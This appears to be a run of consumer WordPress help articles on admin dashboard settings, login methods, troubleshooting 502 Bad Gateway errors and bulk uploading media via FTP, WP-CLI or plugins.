The Discussion settings also include options for receiving notifications when visitors leave a comment, or if there are entries that you need to moderate. If you check out the Before a comment appears section, you’ll be able to configure whether comments require manual approval. 

There’s also an option that enables users with previously-approved comments to skip the moderation queue.

To make moderation easier, WordPress includes a feature that enables you to automatically flag comments that include specific words or identifying data, like usernames, emails, or IP addresses.

The default WordPress comment system works fairly well, but it can struggle to filter spam as your site becomes more popular. Consider installing a plugin to stop comment spam on WordPress.

5. How to manage your website’s appearance

The Appearance menu in the WP admin dashboard enables you to choose which theme to use. You can also use this menu to launch the WordPress full-site editor. 

To choose a theme, go to Appearance → Themes. Out of the box, WordPress ships with a handful of default themes.

You can select any of them and switch to one by hovering over the selection and clicking on Activate.

Switching themes will drastically change your website’s style. With that in mind, we recommend that you use the Live Preview tool to see how the theme looks in action.

The preview feature enables you to customize the theme’s style so you can see if it’s a good fit for your needs. If a theme doesn’t meet your standards, you can always look for new options.

Return to the Themes tab and click on Add New or Add New Theme. Doing so will load the WordPress.org theme repository. The repository is a massive collection of themes, all of them free.

From here, you can select any theme that you like and click on either Install or Preview. The preview feature will enable you to check out the theme before installing it.

If you want to upload theme files directly, you can do so using the Upload Theme button. Clicking on this option will enable you to upload themes in .zip format. This is the route you’ll want to take if you purchase a premium theme from another source.

After you install a theme, it will appear under the Appearance → Themes menu as a part of your collection. You can install as many themes as you like, but you can only use one at a time.

If you go to Appearance →  Editor, you’ll launch the WordPress full-site editor. Full-site editing is a relatively new feature in WordPress. It enables you to edit your theme templates using the Block Editor.

Learn more about the full site editor.

6. How to manage plugins and tools

There are thousands of WordPress plugins to choose from. Each plugin adds one (or several) new features and tools to the CMS, which is one of the reasons why WordPress is so incredibly popular.

When you launch a new website, your web host might pre-install some plugins for you. To see what plugins you have installed, go to Plugins → Installed Plugins.

Inside, you’ll find a list of installed, active, and inactive plugins. You can see basic information and enable automatic updates for each one.

If you have an inactive plugin that you want to activate, select the Activate option under its name. To disable a plugin, select the Deactivate option.

To add new plugins, click on Add New at the top of the screen. The WordPress admin will display the official plugin repository, which includes thousands of options to choose from.

To install a plugin, click on Install Now and wait for WordPress to download its files. Once the plugin is ready, you can activate it by clicking on the Activate button.

You can also upload plugin files directly to WordPress. Click on Upload Plugin and WordPress will ask you to select the .zip file that you want to upload.

When it comes to plugins, we encourage you to research your options carefully. Not sure what to look for? Learn how to select the best WordPress plugins for your site. 

7. How to manage WordPress updates

To keep your site working its best, you’ll need to ensure that all of your site’s components are up to date. This means updating WordPress core and any plugins and themes that you use.

Browsing the Plugins and Themes pages will reveal any plugins or themes that need to be updated. WordPress displays a notice showing how many plugins or themes you can update in the left-hand menu.

Updating plugins is simple. Identify the plugins that need updating and select the update now option that will appear under those entries.

WordPress will automatically download and install any necessary files. If you turn on auto-updates for a specific plugin, you won’t need to remember to update it manually. You can turn on auto-updates by selecting the Enable auto-updates option to the right of any plugin entry.

If you want a full overview of every site component that requires an update, go to Dashboard → Updates. This page will provide a list of any plugins or themes that require updates. You’ll also find out if there are new versions of WordPress available.

Typically, it’s very hard to miss available updates if you check the WordPress admin panel on a regular basis. If you keep up with updates, your site will be much more secure. 

8. How to manage user accounts in WordPress

By default, WordPress will assign you an administrator account when you create a website. WordPress itself comes with a comprehensive user system that includes multiple types of roles, including:

• Administrator
• Author
• Editor
• Contributor 
• Subscriber

The options you have access to in the WordPress dashboard will depend on your user role. As the site’s owner, you should be the only user with full access to every setting and page within the dashboard.

If you visit the Users → All Users page, you’ll see an overview of every existing user account.

To add a new user account, click on Add New at the top of the screen or go to Users → Add New from the left-hand menu. In the next screen, you can set a username, email, first and last name, a website, and a password for the new account.

By default, WordPress only requires you to enter a username and an email. It will automatically send a notification to that email if you leave the Send User Notification option turned on.

WordPress will also generate strong passwords for new accounts. If it detects a weak password, it will ask you to confirm if you want to use it.

You can use the Role menu to assign a user role to the new account. Once the fields are all ready, click on Add New User. 

If you don’t want to add user accounts manually, you can enable registration on your website. This way, visitors will be able to use a pre-built form. 

To turn on that setting, go to Settings → General and tick the Anyone can register option next to Membership. From here, you can also designate a default role for new users,

9. How to configure WordPress settings

The bulk of the configuration options for your WordPress website lie within the Settings menu. We’ve already covered the Discussion settings. Let’s look at what other options are available.

10. WordPress General Settings

The WordPress General Settings screen enables you to set a title for a website and to configure its URLs. You can also update your admin email from this page and enable user registration.

If you scroll down, you’ll see options for changing your site’s language. This will switch the language that the WordPress admin uses. You can also update timezones, switch date and time formats, and set when the week starts.

When you’re happy with the changes that you made, click on the Save Changes button. You should only need to configure general settings once.

11. WordPress Writing Settings

The Settings → Writing screen enables you to configure the default post formats and categories. Changing default post formats can help if you use custom post types.

WordPress also offers an interesting feature called Post via email. With this function, WordPress will automatically publish any posts that you send to a specific email address.

By and large, that may not be a feature that you’ll use regularly. Every time that you publish a post, it should be carefully edited and formatted, which means using the Block Editor.

12. WordPress Reading Settings

The Settings → Reading screen is where you can designate the page you want to be your site’s homepage. Under the heading Your homepage displays, you can choose between a collection of your site’s latest posts or a static page.

If you scroll down, you can configure how many posts will appear on your blog pages. For older posts, users will need to navigate from page to page. You can also decide whether to display post excerpts or their full text in the blog feed.

Finally, you can enable the Discourage search engines from indexing this site option if you want to prevent your website from appearing in Search Engine Results Pages (SERPs).

In most cases, you want to appear in the SERPs to get more traffic. You shouldn’t discourage search engines from indexing your pages unless you have a good reason to do so (like wanting to run a private site).

13. WordPress Media Settings

The Settings → Media page includes options for configuring the default resolution for any new images that you upload. When you upload an image to WordPress, it automatically generates multiple copies of it in different sizes (in pixels).

WordPress does this so you can choose from those sizes when inserting images into posts. If you’re not happy with any of the default image resolutions, you can change their dimensions.

At the bottom of the screen, you’ll find an option for WordPress to automatically organize your media files into date-based folders. These folders won’t be apparent from inside the WordPress admin area. To see them, you’ll need to connect to your website via File Transfer Protocol.

14. WordPress Permalink Settings

Permalinks are a key component of how WordPress works. When you publish a new page or post, it automatically generates a link. The URL’s format depends on the permalink structure that you select.

To choose a structure, go to Settings → Permalinks. Inside, you’ll find a selection of available URL structures. The custom part of the URL comes after the domain. In this example, that domain is yourwebsite.com.

Ideally, you’ll choose a URL format as soon as you create a new website. Changing permalink structures for a website that’s been around for a while can lead to errors and affect your search engine rankings.

The most popular permalink structures for most websites are the Post name and Month and name options. They’re both relatively short, and you can set the slug for each URL when editing that blog post or page.

If you use WooCommerce, the Permalinks page will also enable you to change the URL structure for online products. Note that the default options for WooCommerce don’t include numbers or dates.

15. WordPress Privacy Settings

User privacy is incredibly important and WordPress offers a built-in tool to help you generate a privacy policy page for your website.

To access that tool, go to Settings → Privacy.  If you select Create a new Privacy Policy Page, WordPress will automatically set up a new page with a template for you.

The Select a Privacy Policy page option will enable you to choose one existing page and designate it as your site’s policy. This means you get full control over its appearance and contents.

Visitors will be able to access the privacy policy that you set from both the login and registration screens. You can also add links to the page elsewhere.

How to use the WordPress customizer

The customizer is a tool within the WordPress dashboard that you can use to edit some of your website’s basic settings (but not its style).

To access the customizer, go to Appearance → Customize in the admin. A new page will open, with a menu to the left and a preview of your site to the right.

The menu to the left includes your site’s title and shows which theme you’re using. You can use this menu to change or preview active themes without leaving the customizer.

Opening the Site Identity tab will enable you to update your site’s title and tagline.

The Homepage Settings tab gives you the option of changing your site’s homepage. From this screen, you can choose whether to use a static homepage or to display your latest posts.

Some plugins will cause additional tabs to appear in the customizer menu, like WooCommerce. What options you see in those tabs will depend on which plugins you’re using.

The customizer also includes an Additional CSS tab. You can use the editor within that tab to add custom CSS to your website.

This is just one of several ways to add custom CSS to WordPress. Note that if you add CSS through the customizer, the code will apply to the entire website. 

WordPress admin dashboard frequently asked questions

If you still have any questions left about the WordPress admin, this section will answer them. Let’s start by talking about reorganizing menu items. 

Can you reorganize your WP admin panels?

If you’re comfortable editing WordPress core files, you can remove items from the main admin menu. It’s also possible to rearrange or hide WordPress admin menu entries.

An easier approach is to use a plugin. The Admin Menu Editor plugin gives you full control over every menu entry in the dashboard. With this plugin, you can change menu titles and URLs, re-organize entries, hide links, and more.

Can you change the appearance of the WP admin interface?

There’s a collection of plugins that enables you to change the style of the WP admin. These plugins are called “admin themes” or “dashboard themes.” Installing a dashboard theme won’t impact the WordPress admin’s functionality. 

To find admin themes, we recommend checking out the official WordPress plugin repository.  A quick search for “admin themes” will reveal a large number of plugins. Keep in mind that admin themes don’t affect the style of the front end at all.

Can you add a dark mode to your WP admin interface?

Yes, you can add a dark mode to the WP admin by using a dashboard theme plugin. One great option is WP Dark Mode.

Can you disable the WP admin toolbar?

When you browse your site’s front end while logged in, WordPress displays an admin toolbar at the top of the screen. You can disable that toolbar for specific users by going to the Users page in the admin and editing a specific account.

In that account’s settings, look for the option that says Show toolbar when viewing site, and disable it. Save the changes to the user settings and repeat the process for other accounts.

Become a WordPress admin expert

Navigating the WordPress admin can be daunting at first, but after using it for a while, you’ll learn the ins and outs of the dashboard. After reading our guide, you’ll know where all the most important settings are and where to go if you want to change a specific configuration.

For now, we recommend that you get to work on creating your website’s first pages and posts. If you have any doubts about how to approach any aspect of using WordPress, you’ll find hundreds of tutorials at the ready to help you. That’s the real beauty of WordPress.

If you’re new to WordPress, or haven’t used it in a while, you may not know how to log in or change the way that you access your account. The default way of logging in to WordPress may not be the best option for you.

There are many different ways you can log in to a WordPress site. The basic username and password method works, but you can also link several different accounts and use those credentials instead. This can be quicker, and it also means one less password to remember!

In this article, we’ll cover six different ways you can log in to WordPress. We’ll also explain what to do if you’re having trouble logging in, and answer some frequently asked questions. 

How to access the WordPress administration panel

The WordPress administration panel, commonly referred to as the dashboard, is the control center for your site. Here, you can add new posts, install themes and plugins, and change your settings.

Accessing your dashboard is one of the first things you’ll do after you install WordPress and set up your login details. It’s very important that you remember your credentials when creating your website. Otherwise, you may find yourself locked out. 

You can tell when you’re logged in to your site by looking for options to return to the dashboard, log out, or access other backend functionality. The placement of these options will vary depending on your theme and layout, but you should be able to see them in the top menu, footer, or sidebar.

When not signed in, you won’t be able to access the dashboard. You’ll only be able to view the site as a visitor. 

Let’s look at the different ways you can log in to your WordPress site.

1. Log in with your username and password

The default method for logging in to WordPress is to enter your username and password. You chose these when you created your website.

If you want to avoid entering your username and password every time you want to access your site, check the Remember Me box to have your login information saved on your device. Note that clearing your cookies will undo this, and you’ll need to re-enter your credentials on your next visit. 

Most popular web browsers can save your login credentials so you don’t have to enter them in the future. This can be convenient, but you might want to avoid saving your details on shared devices and browsers where others may be able to access your account.

2. Log in from your hosting control panel

In most cases, WordPress users have a third-party host that provides hosting services for their site. These providers have software known as a control panel (like cPanel) to let you handle your website settings.

In most cases, you’ll create an account for the control panel that is linked to your WordPress website. This means that when you access your control panel, you should also be logged in to your website. 

If not, you may need to log in to your site after launching your control panel, using one of the other methods in this list. The process will vary depending on the software used by your hosting provider, but it’s usually very straightforward. 

3. Log in using social media accounts

While social logins aren’t enabled in WordPress by default, you can add this functionality using a plugin. This can make the login process much faster for you, along with your team members, because you can access your site using an account you’re already logged into.

There are a variety of plugins that provide this feature, one being Nextend Social Login and Register. This tool enables you to connect your existing user account to your Facebook, Google, or Twitter profile. Then, when you log in to your site, you can choose to use one of those social accounts instead.

4. Log in with your Google account

So far, we’ve looked at the login process for WordPress.org. If you’re a WordPress.com user, you’ll get a few more options for accessing your site. 

For instance, you can log in using your Google account. This can be more convenient than the traditional username and password option, as you’re likely already logged in to Chrome or Gmail.

To log in via your Google account, simply select the Continue with Google button on your WordPress.com login screen.

This will prompt you for your username and password. If you’re already logged in to your Google account, you’ll be automatically directed to your WordPress.com dashboard.

5. Log in with your Apple account

WordPress.com also lets you sign in to your site with your Apple ID. For iPhone and Mac users, this may be the most convenient way. It will save you from having to memorize an additional password, and will probably be quicker if you’re working on an Apple device.

To log in with your Apple account, simply select Continue with Apple.

This will prompt you to enter your Apple account information. If you’re already logged in, you’ll be able to access your site immediately.

6. Request a login link

Another way you can sign in to your WordPress.com site is to use the Email me a login link option.

You’ll need to enter the email address that is associated with your account. Then, you’ll receive a link to your dashboard.

What to do if you’re unable to log in to WordPress

There are a number of reasons you may be having trouble logging in to your site. If you typed in the wrong password in the WordPress.org login screen, you’ll see the following message:

Luckily, you can reset your password by clicking the Lost your password? link. You’ll then need to enter the username or email address associated with your site to receive a link that will enable you to reset your password.

Once you’ve selected your new password, you can return to your login screen to try again. Remember that saving your credentials through one of the methods above can make it easier to access your account. Linking multiple websites to a single account like Google or Apple can cut down on the number of passwords that you need to remember.

If you’ve forgotten your username or email address, it can be a little more complicated to sign in. Fortunately, you can use either of these credentials when logging in, so hopefully you remember one if not the other.

You can try finding the email address associated with your site by exploring your contact page or any documentation you may have. If your contact page has an email listed, that could be the same address you used when creating your site. 

You might also encounter a login error that has nothing to do with your password or username. This includes the infamous redirect loop, which you should be able to fix by clearing your browser’s cookies or disabling your plugins. 

What to do after logging in to your WordPress admin panel

Once you log in to your WordPress site, you’ll find yourself in your administrative dashboard. Here, you can control the inner workings of your WordPress website. 

The different options and settings may seem overwhelming at first, but you can focus on the ones you need and save the less important ones for later. For instance, you might start by customizing the appearance of your site. 

You may also want to review your user settings. To do this, navigate to Users → Profile. If you scroll down to Account Management, you’ll see an option for setting a new password.

You might also want to add Two-Factor Authentication (2FA) as an extra layer of protection, which sends a code to your mobile device every time you log in. 

This feature makes it more difficult for hackers to gain access to your site. Additionally, designating a recovery email address or phone number can provide more ways to access your website if you ever have trouble with your login credentials. 

WordPress login FAQ

Logging in to WordPress is simple until it isn’t. Most of the time, you’ll log in the same way day after day. But if something changes, you may suddenly find that things aren’t quite right.

Below are some frequently asked questions about how to log in to a WordPress site.

What is the default WordPress login URL?

The default WordPress login URL is https://example.com/wp-admin/. Depending on your host, the following suffixes may also get you to your website’s login page: /admin/ or /login/. 

Can you change your WordPress login URL?

Technically, yes. In fact, changing your site’s login URL can be an effective way to deter hackers. 

A safe and easy way to change your WordPress login URL is by using a security plugin like WPS Hide Login.

If you want to change your login URL manually, you’ll need to modify your .htaccess file. It’s important that you back up your website before you do this.

Can you customize your WordPress login page?

Yes! If you have partners, employees, or contributors who regularly work on the back end of your WordPress site, customizing your login page can be a fun way to mix it up. It can also be an opportunity to create something more attractive or informative. 

This can be as simple as adding your own branding, or a menu with information and links to other useful pages. You can use a page builder like Beaver Builder or SeedProd to set up a custom login page. 

Customizing your login page can also add an extra layer of security. Automated hacking methods often target predictable pages, usernames, and passwords. Therefore, changing the way your login page works can help foil many of these attempts. Learn more about WordPress security here.

How does the login process work for customers or other roles?

You might use certain plugins or extensions to add extra functionality to your WordPress site. And, in some cases, they might provide special user roles that will need to log in to your site. For example, WooCommerce creates a Customer role, which provides shoppers with access to their purchase history, saved credit cards, and other important information. Another example is the Wholesale for WooCommerce extension, which creates user roles for wholesale customers with special pricing and access.

These users have restricted access to your site, so they’ll only see the information meant for them. They won’t see the backend of WordPress, and won’t be able to make changes to your site, aside from their own personal information (their address or subscription plan, for example). 

They also won’t typically log in at the /wp-admin URL, either. WooCommerce, for instance, includes a My Account page, which is set up at https://example.com/my-account by default. From this page, customers can log in with their username and password, or reset their password if needed.

You can check the documentation for the specific plugin you’re using for more details.

You’re just getting started 

Logging in to your WordPress website is a simple process. You just need to enter your username and password, or sign in through your Google or Apple account. 

Selecting the right method for logging in to your admin dashboard can save you time and effort, so you can focus on your work. Storing your credentials in your browser can also be a convenient time-saver, and you can set up 2FA for additional security. 

There are many other ways to customize how you use WordPress. Now that you know how to log in from anywhere, you’re ready to start exploring the platform’s other features and functionality.

If you’re a site owner, few things make your stomach drop like trying to load your website only to receive a cryptic error message. You’re probably familiar with the 404 Page Not Found error, but what about the 502 Bad Gateway issue?

Fortunately, the 502 error is usually easy to fix. Once you’ve found the source of the problem, resolving it is something most WordPress users can do on their own, without advanced technical knowledge.

In this article, we’ll cover the different causes of a 502 error. Then, we’ll show you how to isolate and resolve the issue.

What causes the “502 Bad Gateway” error in WordPress?

The 500 series error codes, also known as HTTP status codes, are used to diagnose communication errors between a web browser and website server. Essentially, when a browser tries to connect to a website, it contacts the website’s server to request access. If this request cannot be fulfilled, then a 500 series error is usually returned, explaining what went wrong. 

Error 502 indicates a bad gateway. This is when a server attempts to access another server but is unable to complete the request. 

Usually the error is not with the website itself, but the server being accessed. The website is simply behaving as a middleman, or “gateway,” but is unable to deliver the requested data. 

If your WordPress site is being affected by a persistent 502 error, it may be a server error outside of your immediate control. This error can make your site inaccessible to visitors. It can also negatively impact your search rankings, as search engines may be unable to access your site.

While this is normally an issue with your host’s servers rather than your website, there are still some things you can do to fix the problem. In this next section, we’ll cover some possible solutions.

How to fix the “502 Bad Gateway” issue in WordPress

Before reaching out to your host to see if they can resolve the 502 Bad Gateway error, there are some troubleshooting steps you can take to rule out an issue on your end. If these actions help you fix the error, you might want to keep an eye out for repeat issues. If your site is frequently plagued by the 502 Bad Gateway error, you may want to consider upgrading your hosting services.

1. Refresh the page

As with most server issues, simply refreshing the page is always worth a try. If the error was very temporary or just a fluke, it might go away with a refresh. 

A temporary blip or loss of service from an upstream server might resolve itself, allowing for the connection to complete on the next attempt. Sometimes a spike in traffic or loss of connection at the target server can also cause issues. As you’re troubleshooting, you may want to refresh every so often to see if the error persists. 

If refreshing the page solves the problem, it’s safe to assume that the source of the cause was your host. These issues usually resolve themselves quickly.

2. Clear your cache and DNS

On rare occasions, a full cache on the client’s end can simulate server errors, as it’s unable to receive new data as requested. While this is unlikely to return a 502 Bad Gateway error, clearing the cache is a quick and easy fix that can help you rule out the issue. 

Let’s look at how to clear the cache in Google Chrome. Most other browsers will follow a similar process.

First, click on the three-dot icon in the top right corner of the browser window and select Settings. Then, navigate to Security and Privacy on the left.

Here, select Clear browsing data. A popup window will appear. You’ll want to select All time as the time range, and check the box for Cached images and files.

Then, just click on the Clear data button and your cache will be emptied. This will free up space for new data.

You may also want to check your Domain Name System (DNS). Like your browser cache, clearing your DNS could be a quick fix if there’s an issue with an IP address.

To clear your DNS, simply open the command prompt and type in the following command:

C:/Users/example>
C:/Users/example>ipconfig /flushdns

After clearing your cache and DNS, try refreshing the page to see if the problem has been resolved. If it’s still there, you can move on to the next method. 

3. Deactivate your plugins and theme

If the 502 Bad Gateway error cropped up after installing a new theme or plugin, it’s possible that one of these programs could be the culprit. A poorly coded or incompatible plugin could cause a conflict that results in a server being slow or unable to communicate.

To find out if this is the case, you’ll need to deactivate your plugins. If you still have access to your site, go to your admin dashboard and navigate to Plugins. Then, select and deactivate any new plugins you’ve installed:

Alternatively, you can deactivate all of your plugins at once to see if the issue resolves itself. If it does, you’ll have to reactivate your plugins one at a time in order to see which one is acting up.

If you’re unable to access your WordPress admin dashboard, you’ll need to go through a backdoor to manually deactivate your plugins. You have two options: connect to your website via the File Manager in your hosting account, or use a File Transfer Protocol (FTP) client like FileZilla.

We’ll be using FileZilla to show you how to connect to your site’s back end and deactivate your plugins. You’ll need to enter your credentials, including username and server address. You can obtain this information from your hosting account.

Once you’ve connected to your site, you’ll need to navigate to the root folder. This contains all of your site’s files, and is normally called www, public, or public_html. 

Then, open your wp-content folder and locate the plugins folder.

Next, rename the folder from plugins to something else, like plugins_old. This will break the pathway and all plugins on your site will be deactivated. 

Now, try to refresh your page. If the issue hasn’t been resolved, then your plugins are not the culprit and you can rename the folder back to plugins to reestablish the pathway. 

If deactivating the plugins resolves the issue, you’ll need to find out which one is at fault. To do this, rename the plugins folder back to its original name. Then, rename the folders for the individual plugins and keep refreshing the page until you find which one is causing the error.

Renaming each individual folder will break the pathway to just one plugin, rather than all of the plugins at once. Once you have identified the faulty plugin, you can access your WordPress admin dashboard to address it accordingly. For instance, you might decide to delete the plugin and install an alternative.

You can follow a similar procedure to check your themes. These are located in the themes folder within wp-content. 

If the problem persists after deactivating your plugins and theme, you can rule out bad code as the cause. Let’s look at a few other possible solutions. 

4. Check your updates

WordPress developers are constantly updating plugins and themes to fix bugs, improve features, and solve security issues. It’s crucial to keep your site updated not only for security, but also to avoid compatibility issues.

Some themes and plugins are only designed to be compatible with certain versions of WordPress. When installing a new tool, you’ll want to check the required WordPress version.

In the example below, you can see that a WordPress version older than 5.0 or newer than 5.9.1 may not be compatible with the plugin.

This could lead to unexpected behavior from the plugin. Incompatibility issues can cause crashes, long loading times, and time outs that could result in the 502 error.

You can check your current version of WordPress by navigating to Home → Updates in your dashboard.

While you’re here, you can run any necessary updates. You might also want to go to your Plugins page to make sure that all of your software is up to date. 

5. Disable the CDN or firewall

If you’re using a content delivery network (CDN) for WordPress, this may increase the chance of a 502 Bad Gateway error as data is being transmitted from and through multiple servers. If there’s a problem with any of these gateways, it could result in an error.

To rule this out, you can disable your CDN to see if there are any changes. If you’re using a plugin to integrate a CDN, simply deactivate that plugin as shown above. If your CDN comes with its own page on your dashboard, there’s likely a setting that allows you to disable it directly.

Security services like firewalls can also cause the 502 Bad Gateway error. These extra layers of security often rely on additional gateways which can fail or delay the request long enough to time out and cause an error. Turning off your firewall temporarily can help you rule out this as a cause.

6. Contact your hosting provider

If none of the above solutions seem to solve the problem, it’s likely that the cause is coming from a hosting server. Try contacting your hosting provider to see if they’re aware of any issues or outages that could be affecting your site. It may be as simple as a server overload or scheduled maintenance. Additionally, a power outage may temporarily affect the service. 

Remember that the 502 Bad Gateway error can shut down traffic and negatively impact your site’s search engine rankings. If the source of the problem is your host, and the issue occurs often or for extended periods of time, you may want to consider more reliable hosting options to avoid future problems. 

7. Restore a backup

In the event that you can’t find a solution or your host is unable to identify any issues on their end, you can try restoring a backup of your website. If the backup does solve the problem, you’ll need to do some detective work to find out what’s causing the error. This means you’ll need to track any changes you’ve made since the last backup.  

As you can imagine, this may be a little time-consuming. Fortunately, you can use a powerful tool like Jetpack Backup to streamline the process. This user-friendly plugin automatically creates backups that you can revert to for any reason. 

Moreover, Jetpack comes with an activity log that tracks every change you make to your site. This way, you can easily identify any recent changes that may have caused the 502 Bad Gateway error.

How to avoid the 502 status error in the future

As we have seen, the 502 status error can make your site inaccessible, which can harm your search rankings and conversions. Fortunately, there are steps you can take to prevent bad gateway errors in the future. Let’s look at some effective precautions. 

1. Vet new plugins and themes

Whenever you add a new plugin or theme to your site, you’ll want to vet it for quality and compatibility. It’s important to make sure that any code you’re adding to your site is coming from a reputable source. You may also want to check the reviews for any known issues. 

Some themes and plugins are only compatible with certain versions of WordPress. Ideally, you’ll only install plugins that are regularly updated.

Keeping your WordPress core, plugins, and themes up to date is also important. Updates usually fix bugs and gaps in security that can cause a number of issues. 

Outdated plugins may lose compatibility with newer versions of WordPress, which can lead to errors on your site. Therefore, you may want to enable auto-updates on your site to avoid issues in the future. 

2. Upgrade to a more powerful hosting solution

One of the most important things you can do to prevent the 502 Bad Gateway error is to ensure that you have adequate resources for your site. 

If your growing website is receiving more and more traffic every day, you may need to upgrade your tier of service to meet these demands. If your hosting server or allocation on that server is overloaded, requests are much more likely to time out and cause the 502 Bad Gateway error. 

Therefore, you might want to upgrade to a more advanced tier. Alternatively, you might consider switching to a different hosting plan, like dedicated or Virtual Private Server (VPS) hosting. 

3. Check your WordPress error logs

If you encounter the 502 Bad Gateway error intermittently and have not been able to nail down the cause of the problem, checking your error logs may help give you some clues. For example, if the error occurs at your highest traffic times, it’s likely that these spikes are overloading the server. 

You can find your error logs in the same directory as your themes and plugins. Connect to your site via FTP or the File Manager in your hosting account, and open the wp-content folder. Here, you’ll see a file called debug.log. 

If you can’t find this file, you may need to activate your log errors. You can then open the file to find and fix the error.

By practicing safe habits and being aware of changes to your site, you can prevent many connection errors. As always, regular backups offer peace of mind and enable you to rule out errors on your end. Having a suitable host is also important for handling all of your traffic and maintaining quick load times.

There’s no such thing as being too prepared

As we’ve seen, the 502 Bad Gateway error can have a negative impact on your site’s SEO and availability. Therefore, it’s important that you know how to diagnose it and prevent future issues.

Whenever you encounter this error, you may want to try refreshing the page and clearing your browser cache. If that doesn’t resolve the issue, you might need to deactivate your plugins, disable your CDN, or contact your host for assistance. 

Alternatively, you could restore a backup of your site. By using a service like Jetpack Backup, you can easily restore previous versions of your content. If the error goes away, then the cause was likely a change made since the time of that backup. You can then use Jetpack’s activity log to track these changes and resolve the issue.

Adding images and other types of media to your pages is an important part of building and managing a WordPress site. However, the default upload tool that’s available in the Media Library isn’t the most flexible when it comes to uploading large numbers of files. 

Fortunately, you can use a File Transfer Protocol (FTP) client to bulk upload your files to WordPress. This way, you won’t have to worry about the process taking forever or the Media Library limiting your upload size. 

In this post, we’ll look at why you may need to upload files in bulk. Then, we’ll show you how to bulk upload files to WordPress via FTP, and cover some alternative methods.

Why you might want to implement bulk file uploads

The WordPress Media Library provides an easy way to manage and upload your files. You can add multiple or single files by browsing to Media → Add New from your admin area.

You can use it to upload images, audio, and video files. Unfortunately, WordPress has a maximum file upload size limit. This ranges from 2MB to 300MB, depending on the settings of your server. Therefore, this feature is not ideal for uploading large files like videos or adding several files at once. 

If you need to do either of these things, we recommend uploading your files to WordPress via FTP. This method can be a lot more flexible (and less frustrating) than trying to navigate the default Media Library upload feature. 

Whenever you upload files via FTP, they automatically go live on your server. However, if you want them to be visible and accessible in your Media Library, you’ll have to take additional steps to register them. We’ll walk you through the entire process in the next section. 

How to bulk upload files to WordPress via FTP

If you’re looking for an alternative way to bulk upload files to WordPress, the best option is to use an FTP client. Below we’ll walk you through the process in three simple steps. 

Step 1: Connect to your WordPress site via FTP

To get started, you’ll need to connect to your website via an FTP client like FileZilla.

To connect to the server, you’ll need your FTP credentials. You can obtain this information from your hosting provider.

You’ll need your hostname, username, password, and port. After you enter that information, you can select Quickconnect.

Step 2: Upload your files to your wp-content/uploads folder

After you connect to your site, you’ll see a list of your website files. The next step is to upload your media to the uploads folder. You can find this by navigating to public_html → wp-content → uploads.

You can add your files to a new folder or use the dates folder created by WordPress. To upload the files, you can simply drag them from the Local site tab to the Remote site tab.

You can add as many files as you wish. Depending on the size of your upload, the process may take some time to complete.

Step 3: Register your uploaded files to your WordPress media library

If you navigate to your media library, you’ll notice that you can’t see the files that you’ve just uploaded via FTP. This is because you haven’t registered them yet. To do this, use the Add From Server plugin.

Note that this tool hasn’t been updated recently. If you prefer, you can also register your files via WP-CLI. We’ll show you how to do this in the next section. For now, let’s see how to use the Add From Server plugin. 

Once you’ve installed and activated the plugin on your site, navigate to Media → Add From Server to access its interface.

Next, select the uploads folder and locate the one you’ve just uploaded your files to.

Within the folder, you’ll see a list of your uploaded files. You have the option to select all files or individual ones. When you’re ready, click on the Import button.

You may need to wait a few minutes for the upload to complete, depending on the number of files. When it’s ready, you’ll see a success message. Now you can access those files in your media library.

Alternative methods for bulk uploading files to WordPress

If you don’t want to use the Add From Server plugin to bulk upload files to WordPress, there are some alternative methods you can use. This includes a couple of plugins, as well as WP-CLI and cPanel. Let’s take a closer look at these options.

Use the Media from FTP plugin

You can also upload your media files using the Media from FTP plugin. This tool provides a bit more functionality than the previous one. It’s free to use and lets you schedule the import process to run automatically. You can use it to register your uploads to the Media Library with ease. 

It’s important to note that this plugin will eventually be replaced by its successor, Bulk Media Register. Therefore, we don’t recommend relying on this tool as a permanent solution, but rather as a temporary means to bulk register your files. 

Once it’s installed and activated on your website, the plugin will add a new Media from FTP menu item to your WordPress dashboard.

To get started, you can select Search & Register. The default settings will organize your files by month and date.

On the Search & Register screen, you can select single files or an entire folder to upload. In this situation, we want to make sure that wp-content/uploads is selected. Then, click on the Update Media button.

You can also filter the search based on certain types of extensions. For example, you could select jpeg from the drop-down menu to only register your jpeg images. 

If you want to change the default settings, you can do so by navigating to Media from FTP → Settings. Here, you can change the folder structure of your uploads and adjust the search method. 

Install the Upload Media by Zip plugin

If you don’t want to use FTP to bulk upload files to WordPress, you can use the Upload Media by Zip plugin instead.

Although this free tool isn’t actively maintained, it does let you upload a ZIP folder to WordPress without having to connect via FTP. It won’t help you when it comes to uploading large files, so it’s not the best option if your issue is circumventing the WordPress upload limit.

However, it can help you when you want to upload a lot of small files. Once you’ve uploaded your ZIP file, the tool will open it to extract your images and place them in your Media Library. 

Once you’ve installed and activated the plugin, you’ll see a new Upload and Extract a Zip Archive button in your WordPress editor.

In the Classic Editor, you can locate the icon next to the standard Add Media button. After you click on it, you can select the ZIP file from your computer. It will also give you the option to delete the ZIP file after upload. 

Once you’ve selected your file, you can click on the Upload and Extract button to start the process.

When it’s done, you’ll see a success message containing all the files that were extracted, as well as the option to add the files to your post.

Another option for uploading a ZIP file is to navigate to Media → Upload Zip Archive.

Again, it’s important to note that most of these plugins are not actively maintained. Plus, you won’t get as much flexibility and control as you would if you uploaded your files via FTP. If you want to upload files without a plugin or FTP, you can register them using WP-CLI instead. 

Register uploaded files using WP-CLI

Registering files using WP-CLI is not the most beginner-friendly option. However, if you’re familiar with it and feel comfortable using commands, it can be a quick and efficient solution for registering files to the WordPress Media Library.

This method also lets you attach files to certain posts, and add titles and captions to your images. Also, WP-CLI gives you the option to import individual files, or import files that belong to a certain category.

To register files using WP-CLI, you can use the wp media import command. If you wanted to import specific files, you could use a more defined command. For instance, to import all JPG images from your pictures folder, you could use the following:

wp media import ~/Pictures/**\/*.jpg

For more information about using WP-CLI, we recommend referring to the WordPress Developer Handbook’s import command guide. 

Go through the cPanel File Manager

If you want an alternative to FTP, you can upload files using your File Manager in cPanel (if your host uses cPanel). Again, this isn’t the ideal method for bulk uploading files, but it can be a great way to get around WordPress’ upload limit. 

Once you log into your cPanel account, navigate to the File Manager option in your dashboard.

Next, select the Upload button to add your files to your wp-content/uploads folder. Unfortunately, you can only upload one file at a time, which can be a little time-consuming. One workaround is to upload a folder of images as a ZIP file. You can then extract the contents of the folder and delete the original ZIP file.

When you’re done, you’ll still need to register your files with your Media Library. As with the FTP method we covered earlier, you can install the Add From Server plugin to import the files to your site. 

Manage your bulk upload files with ease

WordPress is a great content management system, but the default functionality provided by the Media Library can be limiting, especially when you want to upload many files at once.

